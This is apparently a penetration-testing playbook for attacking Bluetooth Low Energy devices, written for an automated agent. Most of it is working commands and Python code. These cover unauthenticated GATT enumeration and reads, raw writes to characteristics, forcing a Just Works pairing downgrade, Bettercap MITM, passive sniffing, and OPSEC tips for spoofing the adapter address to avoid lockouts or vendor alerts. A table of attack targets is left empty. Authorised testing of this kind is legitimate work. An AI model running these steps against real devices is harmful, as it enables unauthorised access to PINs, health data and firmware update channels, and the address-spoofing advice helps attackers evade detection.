Ble Gatt

BLE GATT Enumeration and Exploitation

BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data — all accessible to any central within radio range.

Prerequisites

• Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself).
• Tools: bluez (>=5.62), gatttool, bluetoothctl, hcitool, python3 -m pip install bleak (cross-platform async BLE library).
• Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
  • firmware) or Ubertooth One.
• Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.

Phase 1: Passive Discovery

# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt

# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"

Using bleak for a structured scan:

import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f"{d.address}  RSSI={d.rssi:4d}  {d.name or '<anon>'}  {list(d.metadata.get('uuids', []))}")

asyncio.run(scan())

Phase 2: Full GATT Enumeration (unauthenticated)

# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
  > connect
  > primary          # list services by UUID
  > characteristics  # list handles, properties, UUIDs
  > char-desc        # dump all descriptors

# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics

Bleak full dump (preferred — handles BLE 5 extended):

import asyncio
from bleak import BleakClient

TARGET = "AA:BB:CC:DD:EE:FF"

async def dump_gatt():
    async with BleakClient(TARGET) as client:
        for svc in client.services:
            print(f"\nService: {svc.uuid}  ({svc.description})")
            for char in svc.characteristics:
                print(f"  Char: {char.uuid}  props={char.properties}  handle=0x{char.handle:04x}")
                if "read" in char.properties:
                    try:
                        val = await client.read_gatt_char(char.uuid)
                        print(f"    Value: {val.hex()}  ({val!r})")
                    except Exception as e:
                        print(f"    Read error: {e}")

asyncio.run(dump_gatt())

Phase 3: Unauthenticated Write / Command Injection

# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100

# Write to a writable characteristic by UUID (bleak):

async def write_char(client, uuid, payload: bytes):
    # Try write-with-response first; fall back to write-without-response.
    props = client.services.get_characteristic(uuid).properties
    if "write" in props:
        await client.write_gatt_char(uuid, payload, response=True)
    elif "write-without-response" in props:
        await client.write_gatt_char(uuid, payload, response=False)
    print(f"Wrote {payload.hex()} to {uuid}")

Common attack targets by characteristic UUID:

Phase 4: Pairing Downgrade — Just Works

Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.

# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
  agent NoInputNoOutput
  default-agent
  scan on
  pair <TARGET_MAC>   # pairing will complete with no key confirmation
  trust <TARGET_MAC>
  connect <TARGET_MAC>

After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works.

MITM with Bettercap (BLE proxy)

# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.
sudo bettercap -eval "ble.recon on; events.stream on"
# Enumerate target:
sudo bettercap -eval "ble.enum <TARGET_MAC>"
# Write via bettercap:
sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>"

Phase 5: Passive Sniffing with Sniffle

# Flash Sniffle firmware to a TI CC26x2R LaunchPad.
# https://github.com/nccgroup/Sniffle

# Follow a specific device (37/38/39 advertisement channels, then data channel).
python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap

# Open in Wireshark (BLE dissector built-in):
wireshark /tmp/ble_capture.pcap

Ubertooth One — broadband BLE capture (less channel-following accuracy):

ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap   # follow on adv channel 37
ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap  # follow by address

Evidence

Save all GATT dumps and captures:

EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
# Dump GATT to JSON:
python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json"
sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt"
cp /tmp/ble_capture.pcap "$EVIDENCE/"
sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt"

Knowledge graph node for a found credential/key:

kg_add_node(
    kind="credential",
    label=f"BLE GATT unauthenticated access {target_mac}",
    props={
        "key": f"ble-gatt::{target_mac}",
        "secret_type": "ble_characteristic",
        "mac": target_mac,
        "characteristic_uuid": char_uuid,
        "raw_value": value_hex,
        "pairing_method": "just_works_or_none",
        "source": "bleak+gatttool",
    },
)

OPSEC Notes

• BLE connection requests are logged by the peripheral's pairing database; repeated failed pairings may trigger a lockout or vendor alert.
• Just Works pairing is visible to the peripheral; if it keeps a bond list, a stale address may flag re-pairing attempts.
• Use bdaddr (hciconfig bdaddr spoof) or the adapter's random-address mode (hciconfig hci0 leadv 3) to rotate your BD_ADDR between attempts.
• Sniffle is passive — zero RF footprint beyond receiving. Prefer it when the RoE explicitly prohibits active probing.
• OTA/DFU channels: if you can write a firmware image, gate the test on explicit operator approval and a recovery plan (jtag/uart fallback) for the device.

References

• Sniffle: https://github.com/nccgroup/Sniffle
• bleak: https://github.com/hbldh/bleak
• BTLE-Sniffer / GATTacker historical MITM reference.
• nRF Connect mobile: fastest manual GATT browser for live engagement triage.